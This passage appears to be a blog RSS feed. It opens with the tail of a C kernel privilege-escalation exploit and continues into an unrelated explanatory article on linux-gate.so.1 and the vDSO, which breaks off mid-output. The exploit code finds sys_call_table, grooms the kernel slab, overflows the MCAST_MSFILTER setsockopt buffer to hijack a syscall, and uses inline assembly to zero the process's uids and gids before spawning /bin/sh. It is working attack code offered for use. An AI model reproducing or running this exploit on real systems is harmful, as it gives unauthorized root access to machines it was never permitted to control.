&nbsp;&nbsp;&nbsp; int r;<br>
<br>
&nbsp;&nbsp;&nbsp; fp = fopen("/proc/ksyms", "r");<br>
&nbsp;&nbsp;&nbsp; if (fp == NULL) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; perror("fopen
/proc/ksyms");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; while (!feof(fp)) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (!fgets(linebuf,
sizeof(linebuf), fp))<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
continue;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; memset(stuff, 0
,sizeof(stuff));<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; r = sscanf(linebuf, "%x %s",
&amp;addr, stuff);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (r != 2 || !strstr(stuff,
"sys_call_table"))<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
continue;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf(linebuf);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; found = 1;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; fclose(fp);<br>
&nbsp;&nbsp;&nbsp; return found ? addr : 0;<br>
}<br>
<br>
static void prepare_slab(int slabsize, int left)<br>
{<br>
&nbsp;&nbsp;&nbsp; FILE *fp;<br>
&nbsp;&nbsp;&nbsp; char linebuf[128];<br>
&nbsp;&nbsp;&nbsp; int r, found = 0;<br>
&nbsp;&nbsp;&nbsp; int s_size, s_active, s_total;<br>
&nbsp;&nbsp;&nbsp; int nsems;<br>
<br>
&nbsp;&nbsp;&nbsp; slabsize = fix_slabsize(slabsize);<br>
&nbsp;&nbsp;&nbsp; nsems = COMPUTE_NSEMS(slabsize);<br>
<br>
&nbsp;&nbsp;&nbsp; fp = fopen("/proc/slabinfo", "r");<br>
&nbsp;&nbsp;&nbsp; if (fp == NULL) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; perror("fopen
/proc/slabinfo");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; return;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; while (!feof(fp)) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (!fgets(linebuf,
sizeof(linebuf), fp))<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
continue;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; r = sscanf(linebuf, "size-%d
%d %d", &amp;s_size, &amp;s_active, &amp;s_total);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (r != 3 || s_size !=
slabsize)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
continue;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf(linebuf);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; found = 1;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; fclose(fp);<br>
<br>
&nbsp;&nbsp;&nbsp; if (found) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; int i, num;<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; num = s_total - s_active -
left;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; num = (num &lt;=
(MAX_SEM_LIMIT-sem_count)) ? num : (MAX_SEM_LIMIT-sem_count);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; for (i = sem_count; i &lt;
num; i++, sem_count++) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
sem_handles[i] = semget(IPC_PRIVATE, nsems, IPC_CREAT);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; return;<br>
}<br>
<br>
static void de_prepare_slab()<br>
{<br>
&nbsp;&nbsp;&nbsp; int i;<br>
<br>
&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; sem_count; i++) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (sem_handles[i] != -1)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if
(semctl(sem_handles[i], 0, IPC_RMID)) perror("ipc_rmid");<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; sem_count = 0;<br>
}<br>
<br>
void shellcode(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; char *p[] ={"/bin/sh", 0};<br>
//&nbsp;&nbsp;&nbsp; de_prepare_slab();<br>
&nbsp;&nbsp;&nbsp; execve("/bin/sh",p,0);<br>
&nbsp;&nbsp;&nbsp; _exit(0);<br>
}<br>
<br>
void configure(void)<br>
{<br>
&nbsp;&nbsp;&nbsp; unsigned val;<br>
&nbsp;&nbsp;&nbsp; task_size = ((unsigned)&amp;val + 1 GB ) / (1
GB) * 1 GB;<br>
&nbsp;&nbsp;&nbsp; uid = getuid();<br>
&nbsp;&nbsp;&nbsp; gid = getgid();<br>
&nbsp;&nbsp;&nbsp; user_ds = myget_ds();<br>
&nbsp;&nbsp;&nbsp; user_cs = myget_cs();<br>
<br>
}<br>
void kernel(unsigned * task)<br>
{<br>
&nbsp;&nbsp;&nbsp; unsigned * addr = task;<br>
<br>
&nbsp;&nbsp;&nbsp; /* looking for uids */<br>
&nbsp;&nbsp;&nbsp; while (addr[0] != uid || addr[1] != uid ||<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; addr[2] != uid || addr[3] !=
uid<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; )<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; addr++;<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; addr[0] = addr[1] = addr[2] = addr[3] = 0; /*
set uids */<br>
&nbsp;&nbsp;&nbsp; addr[4] = addr[5] = addr[6] = addr[7] = 0; /*
set gids */<br>
}<br>
&nbsp;<br>
void set_root(unsigned int *ts)<br>
{<br>
&nbsp;&nbsp;&nbsp; if((unsigned
int*)*ts!=NULL)&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ts = (int*)*ts;<br>
<br>
&nbsp;&nbsp;&nbsp; int cntr;<br>
&nbsp;&nbsp;&nbsp; for(cntr = 0; cntr &lt;= 512; cntr++, ts++)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if( ts[0] == uid &amp;&amp;
ts[1] == uid &amp;&amp; ts[4] == gid &amp;&amp; ts[5] == gid)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; ts[0] =
ts[1] = ts[4] = ts[5] = 0;<br>
}<br>
<br>
int myget_cs()<br>
{<br>
&nbsp;&nbsp;&nbsp; __asm__("movl %cs,%eax\n");<br>
}<br>
int myget_ds()<br>
{<br>
&nbsp;&nbsp;&nbsp; __asm__("movl %ds,%eax\n");<br>
}<br>
<br>
/*<br>
&nbsp;* kernel 2.4.x/2.6.x privilege elevator<br>
&nbsp;**/<br>
extern load_highlevel;<br>
__asm__<br>
(<br>
&nbsp;&nbsp;&nbsp; "load_highlevel:&nbsp;&nbsp;&nbsp; \n\t"<br>
&nbsp;&nbsp;&nbsp; "mov&nbsp;&nbsp;&nbsp; $0xffffe000,%eax\n\t"<br>
&nbsp;&nbsp;&nbsp; "and&nbsp;&nbsp;&nbsp;
%esp,%eax&nbsp;&nbsp;&nbsp; \n\t"<br>
&nbsp;&nbsp;&nbsp; "pushl&nbsp;&nbsp;&nbsp; %eax&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n\t"<br>
&nbsp;&nbsp;&nbsp; "call&nbsp;&nbsp;&nbsp;
set_root&nbsp;&nbsp;&nbsp; \n\t"<br>
&nbsp;&nbsp;&nbsp; "pop&nbsp;&nbsp;&nbsp; %eax&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n\t"<br>
&nbsp;&nbsp;&nbsp; "cli&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n\t"<br>
&nbsp;&nbsp;&nbsp; "movl&nbsp;&nbsp;&nbsp;
$user_ds,%eax&nbsp;&nbsp;&nbsp; \n\t"<br>
&nbsp;&nbsp;&nbsp; "pushl&nbsp;&nbsp;&nbsp; (%eax)\n"<br>
&nbsp;&nbsp;&nbsp; "pop&nbsp;&nbsp;&nbsp;
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n\t"&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* DS */<br>
&nbsp;&nbsp;&nbsp; "pushl&nbsp;&nbsp;&nbsp;
%ds&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
\n\t" &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* SS */<br>
&nbsp;&nbsp;&nbsp; "pushl&nbsp;&nbsp;&nbsp;
$0xc0000000&nbsp;&nbsp;&nbsp; \n\t"&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; /* ESP */<br>
&nbsp;&nbsp;&nbsp; "pushl&nbsp;&nbsp;&nbsp;
$0x246&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
\n\t"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /* EFLAGS
*/<br>
&nbsp;&nbsp;&nbsp; "movl&nbsp;&nbsp;&nbsp;
$user_cs,%eax&nbsp;&nbsp;&nbsp; \n\t"&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; /* CS */<br>
&nbsp;&nbsp;&nbsp; "pushl&nbsp;&nbsp;&nbsp;
(%eax)&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; \n\t"<br>
&nbsp;&nbsp;&nbsp; "pushl&nbsp;&nbsp;&nbsp;
$shellcode&nbsp;&nbsp;&nbsp; \n\t"<br>
&nbsp;&nbsp;&nbsp; "iret&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; \n\t"<br>
);<br>
<br>
int main(int argc, char *argv[])<br>
{<br>
&nbsp;&nbsp;&nbsp; int sock = -1;<br>
&nbsp;&nbsp;&nbsp; int victim_pipe[2] = {-1, -1};<br>
&nbsp;&nbsp;&nbsp; int holderid = -1;<br>
&nbsp;&nbsp;&nbsp; struct group_filter *gsf = NULL; /* &amp;optval
*/<br>
&nbsp;&nbsp;&nbsp; int optlen, optlen_align;<br>
&nbsp;&nbsp;&nbsp; int nsems;<br>
&nbsp;&nbsp;&nbsp; int pid;<br>
&nbsp;&nbsp;&nbsp; int status;<br>
<br>
&nbsp;&nbsp;&nbsp; unsigned int numsrc, full_numsrc, of_numsrc /*
overflow numsrc */;<br>
&nbsp;&nbsp;&nbsp; int msize, gsize, i;<br>
&nbsp;&nbsp;&nbsp; struct sockaddr_in *psin;<br>
<br>
&nbsp;&nbsp;&nbsp; sys_call_table = (void *)
get_sys_call_table();<br>
&nbsp;&nbsp;&nbsp; if (!sys_call_table)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto err;<br>
<br>
&nbsp;&nbsp;&nbsp; sock = socket(PF_INET, SOCK_STREAM, 0);<br>
&nbsp;&nbsp;&nbsp; if (sock == -1) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; perror("socket");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto err;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; optlen = sizeof(struct group_filter) +<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; sizeof(struct sockaddr_storage) *
(MY_NUMSRC-1);<br>
&nbsp;&nbsp;&nbsp; optlen_align = fix_slabsize(optlen);<br>
&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp; &nbsp;* (kernel-2.4.22)<br>
&nbsp;&nbsp;&nbsp; &nbsp;* ...<br>
&nbsp;&nbsp;&nbsp; &nbsp;* define IP_MSFILTER_SIZE(numsrc) \<br>
&nbsp;&nbsp;&nbsp; &nbsp;*&nbsp;&nbsp;&nbsp; (sizeof(struct
ip_msfilter) - sizeof(__u32) \<br>
&nbsp;&nbsp;&nbsp; &nbsp;*&nbsp;&nbsp;&nbsp; + (numsrc) *
sizeof(__u32))<br>
&nbsp;&nbsp;&nbsp; &nbsp;*/<br>
&nbsp;&nbsp;&nbsp; numsrc = ((4 - (sizeof(struct ip_msfilter) -
4)))/4 + (SLAB_SIZE - 4)/4;<br>
&nbsp;&nbsp;&nbsp; msize = IP_MSFILTER_SIZE(numsrc);<br>
&nbsp;&nbsp;&nbsp; gsize = GROUP_FILTER_SIZE(numsrc);<br>
&nbsp;&nbsp;&nbsp; printf("numsrc: 0x%x msize: 0x%x gsize: 0x%x
optlen: 0x%x\n",<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; numsrc,
msize, gsize, optlen);<br>
<br>
&nbsp;&nbsp;&nbsp; if (argc == 2 &amp;&amp; !strcmp(argv[1],
"-w"))<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; exit(EXIT_SUCCESS);<br>
<br>
&nbsp;&nbsp;&nbsp; gsf = malloc(optlen_align);<br>
&nbsp;&nbsp;&nbsp; if (gsf == NULL) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; perror("malloc");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto err;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; memset(gsf, 'A', optlen);<br>
<br>
&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp; &nbsp;* Prepare<br>
&nbsp;&nbsp;&nbsp; &nbsp;**/<br>
&nbsp;&nbsp;&nbsp; printf("Prepare ...\n");<br>
&nbsp;&nbsp;&nbsp; gsf-&gt;gf_numsrc = numsrc;<br>
&nbsp;&nbsp;&nbsp; gsf-&gt;gf_interface = 0;<br>
&nbsp;&nbsp;&nbsp; gsf-&gt;gf_fmode = 0;<br>
&nbsp;&nbsp;&nbsp; psin = (struct sockaddr_in *)
&amp;gsf-&gt;gf_group;<br>
&nbsp;&nbsp;&nbsp; psin-&gt;sin_family = AF_INET;<br>
<br>
&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; MY_NUMSRC; i++) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psin = (struct sockaddr_in *)
&amp;gsf-&gt;gf_slist[i];<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psin-&gt;sin_family =
AF_INET;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psin-&gt;sin_addr.s_addr =
0x43434343;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; full_numsrc = (optlen_align - sizeof(struct
group_filter))<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; /
sizeof(gsf-&gt;gf_slist[0]) + 1 + 1;<br>
&nbsp;&nbsp;&nbsp; of_numsrc = full_numsrc<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; -
((SLAB_SIZE - 20 /* sizeof(struct ip_msfilter) */) / 4 + 1);<br>
&nbsp;&nbsp;&nbsp; printf("full_numsrc: %d \toverflow_numsrc:
%d\n", full_numsrc, of_numsrc);<br>
<br>
&nbsp;&nbsp;&nbsp; for (; i &lt; full_numsrc; i++) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psin = (struct sockaddr_in *)
&amp;gsf-&gt;gf_slist[i];<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psin-&gt;sin_family =
AF_INET;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; psin-&gt;sin_addr.s_addr =
0x44444444;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; assert(of_numsrc == 3);<br>
&nbsp;&nbsp;&nbsp; psin = (struct sockaddr_in *)
&amp;gsf-&gt;gf_slist[full_numsrc-of_numsrc-1+3]; /* char *base
*/<br>
&nbsp;&nbsp;&nbsp; psin-&gt;sin_addr.s_addr = (unsigned int)
&amp;sys_call_table[__NR_hijack_getroot];<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; setsockopt(sock, SOL_IP, MCAST_MSFILTER, gsf,
optlen_align);<br>
&nbsp;&nbsp;&nbsp; prepare_slab(SLAB_SIZE, -1);<br>
&nbsp;&nbsp;&nbsp; prepare_slab(SLAB_SIZE, 4);<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; nsems = COMPUTE_NSEMS(SLAB_SIZE);<br>
&nbsp;&nbsp;&nbsp; holderid = semget(IPC_PRIVATE, nsems,
IPC_CREAT);<br>
&nbsp;&nbsp;&nbsp; if (holderid == -1) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; perror("semget IPC_NEW");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto err;<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp;<br>
&nbsp;&nbsp;&nbsp; if (pipe(victim_pipe) == -1) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; perror("pipe");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto err;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; semctl(holderid, 0, IPC_RMID);<br>
&nbsp;&nbsp;&nbsp; printf("Exploiting ...\n");<br>
&nbsp;&nbsp;&nbsp; semctl(holderid, 0, IPC_RMID);<br>
&nbsp;&nbsp;&nbsp; if (setsockopt(sock, SOL_IP, MCAST_MSFILTER,
gsf, optlen) == -1)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; perror("setsockopt");<br>
<br>
&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp; &nbsp;* Get root<br>
&nbsp;&nbsp;&nbsp; &nbsp;**/<br>
&nbsp;&nbsp;&nbsp; char *p_load_highlevel = (void *)
&amp;load_highlevel;<br>
&nbsp;&nbsp;&nbsp; if (fork() == 0)<br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; int cnt;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; close(0);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; close(1);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; close(2);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; alarm(1);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cnt = write(victim_pipe[1],
&amp;p_load_highlevel, 4);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; //cnt = read(victim_pipe[0],
buf, 0); /* for test base_addr */<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (cnt == -1) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
perror("write pipe");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; goto
err;<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; exit(0);<br>
&nbsp;&nbsp;&nbsp; }<br>
&nbsp;&nbsp;&nbsp; sleep(2);<br>
<br>
&nbsp;&nbsp;&nbsp; if ((pid = fork()) == 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; configure();<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; hijack_getroot(0);<br>
<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; printf("Failed to get
root!\n");<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; _exit(-1);<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; while (1) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if (waitpid(pid, &amp;status,
0) &lt; 0)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; break;<br>
&nbsp;&nbsp;&nbsp; }&nbsp;&nbsp;&nbsp;<br>
<br>
&nbsp;&nbsp;&nbsp; de_prepare_slab();<br>
&nbsp;&nbsp;&nbsp; free(gsf);<br>
&nbsp;&nbsp;&nbsp; close(sock);<br>
<br>
&nbsp;&nbsp;&nbsp; close(victim_pipe[0]);<br>
&nbsp;&nbsp;&nbsp; close(victim_pipe[1]);<br>
&nbsp;&nbsp;&nbsp; return EXIT_SUCCESS;<br>
err:<br>
&nbsp;&nbsp;&nbsp; if (victim_pipe[0] &gt; 0) {<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; close(victim_pipe[0]);<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; close(victim_pipe[1]);<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
&nbsp;&nbsp;&nbsp; de_prepare_slab(); /* it's safe */<br>
<br>
&nbsp;&nbsp;&nbsp; if (holderid != -1)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; semctl(holderid, 0,
IPC_RMID);<br>
&nbsp;&nbsp;&nbsp; if (gsf)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; free(gsf);<br>
&nbsp;&nbsp;&nbsp; if (sock != -1)<br>
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; close(sock);<br>
&nbsp;&nbsp;&nbsp; return EXIT_FAILURE;<br>
}<br>
<br>
]]></description><guid>http://www.i170.com/Article/21299</guid><trackback:ping>http://www.i170.com/Article/21299/trackback</trackback:ping><comments>http://www.i170.com/Article/21299#comment</comments><wfw:commentRss>http://www.i170.com/Article/21299/commentRss</wfw:commentRss></item> <item><link>http://www.i170.com/Article/20895</link><title><![CDATA[What is linux-gate.so.1?]]></title><author>grip2</author><category>Linux Kernel</category><pubDate>Thu, 06 Apr 2006 10:39:29  +0800</pubDate><description><![CDATA[What is linux-gate.so.1?<br>
<br>
When you use the ldd utility on a reasonably recent Linux system
you'll frequently see a reference to an ethereal entity known as
linux-gate.so.1:<br>
<br>
ldd /bin/sh<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; linux-gate.so.1
=&gt;&nbsp; (0xffffe000)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; libdl.so.2 =&gt;
/lib/libdl.so.2 (0xb7fb2000)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; libc.so.6 =&gt;
/lib/libc.so.6 (0xb7e7c000)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /lib/ld-linux.so.2
(0xb7fba000)<br>
<br>
<br>
What's so strange about that? It's just a dynamically loaded
library, right?<br>
<br>
Sort of, for sufficiently generous definitions of dynamically
loaded library. The lack of file name in the output indicates that
ldd was unable to locate a file by that name. Indeed, any attempt
to find the corresponding file – whether manually or by software
designed to automatically load and analyze such libraries – will be
unsuccessful.<br>
<p class="partingline">[separator]</p>
<br>
From time to time this is a cause of befuddlement and frustration
for users as they go searching for a non-existent system file. You
can confidently tell users on this futile quest that there's not
supposed to be a linux-gate.so.1 file present anywhere on the file
system; it's a virtual DSO, a shared object exposed by the kernel
at a fixed address in every process' memory:<br>
<br>
cat /proc/self/maps<br>
08048000-0804c000 r-xp 00000000 08:03 7971106&nbsp;&nbsp;&nbsp;
/bin/cat<br>
0804c000-0804d000 rwxp 00003000 08:03 7971106&nbsp;&nbsp;&nbsp;
/bin/cat<br>
0804d000-0806e000 rwxp 0804d000 00:00
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [heap]<br>
b7e88000-b7e89000 rwxp b7e88000 00:00 0<br>
b7e89000-b7fb8000 r-xp 00000000 08:03 8856588&nbsp;&nbsp;&nbsp;
/lib/libc-2.3.5.so<br>
b7fb8000-b7fb9000 r-xp 0012e000 08:03 8856588&nbsp;&nbsp;&nbsp;
/lib/libc-2.3.5.so<br>
b7fb9000-b7fbc000 rwxp 0012f000 08:03 8856588&nbsp;&nbsp;&nbsp;
/lib/libc-2.3.5.so<br>
b7fbc000-b7fbe000 rwxp b7fbc000 00:00 0<br>
b7fc2000-b7fd9000 r-xp 00000000 08:03 8856915&nbsp;&nbsp;&nbsp;
/lib/ld-2.3.5.so<br>
b7fd9000-b7fdb000 rwxp 00016000 08:03 8856915&nbsp;&nbsp;&nbsp;
/lib/ld-2.3.5.so<br>
bfac3000-bfad9000 rw-p bfac3000 00:00
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [stack]<br>
ffffe000-fffff000 ---p 00000000 00:00
0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [vdso]<br>
<br>
<br>
Here cat prints its own memory map. The line marked [vdso] is the
linux-gate.so.1 object in that process, a single memory page mapped
at address ffffe000. A program can determine the location of the
shared object in memory by examining an AT_SYSINFO entry in the ELF
auxiliary vector. The auxiliary vector (auxv) is an array of
pointers passed to new processes in the same way program arguments
(argv) and environment variables (envp) are.<br>
<br>
In theory the address could differ between processes, but as far as
I know the Linux kernel always maps it at a fixed location. The
sample output above come from an x86 box where processes live in
plain old 32-bit address spaces divided into pages of 4096 bytes,
making ffffe000 the penultimate page. The very last page is
reserved to catch accesses through invalid pointers, e.g.
dereferencing a decremented NULL pointer or a MAP_FAILED pointer
returned from mmap.<br>
<br>
Since all processes share the same object at the same location,
it's easy to extract a copy of it if we want to take a closer look
at it. For example, we can simply ask dd to dump the page from its
own memory (carefully choosing an output name different from
linux-gate.so.1 to avoid creating a file that's not supposed to
exist):<br>
<br>
<br>
dd if=/proc/self/mem of=linux-gate.dso bs=4096 skip=1048574
count=1<br>
1+0 records in<br>
1+0 records out<br>
<br>
<br>
We skip 1048574 because there are 220 = 1048576 pages in total and
we want to extract the next to last page. The result looks like any
other shared ELF object file:<br>
<br>
<br>
file -b linux-gate.dso<br>
ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV),
stripped<br>
<br>
<br>
objdump -T linux-gate.dso<br>
<br>
linux-gate.dso:&nbsp;&nbsp;&nbsp;&nbsp; file format elf32-i386<br>
<br>
DYNAMIC SYMBOL TABLE:<br>
ffffe400 l&nbsp;&nbsp;&nbsp; d&nbsp; .text&nbsp;
00000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
ffffe460 l&nbsp;&nbsp;&nbsp; d&nbsp; .eh_frame_hdr&nbsp;
00000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
ffffe484 l&nbsp;&nbsp;&nbsp; d&nbsp;
.eh_frame&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
00000000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>
ffffe608 l&nbsp;&nbsp;&nbsp; d&nbsp;
.useless&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
